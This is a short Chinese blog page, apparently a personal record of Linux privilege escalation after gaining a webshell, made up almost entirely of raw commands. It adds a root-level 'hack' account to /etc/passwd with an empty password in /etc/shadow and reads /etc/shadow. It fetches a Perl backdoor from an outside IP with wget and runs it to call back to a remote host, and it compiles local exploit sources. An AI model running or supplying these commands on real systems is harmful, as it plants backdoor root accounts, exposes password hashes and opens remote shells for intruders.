linux提权:Linux提权记录

cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "root"
echo hack:x:0:0:root:/root:/bin/bash >>/etc/passwd

cat /etc/shadow
echo hack::133380:0:99999:7::: >>/etc/shadow
wget http://58.19.202.2x/back.pl
passwd hack

ps -aux

whoami
uname -a
nc -vv -lp 123456

cd test;wget http://www.zttop.cn
perl back.pl 58.252.46.142 60
ls

which gcc
gcc exp.c -o exp
gcc -o brk brk.c -

uptime //看在线时间
cat /etc/issue //看版本
Tags:  webshell提权 linux记录url linux网址记录 linux提权

延伸阅读

最新评论

发表评论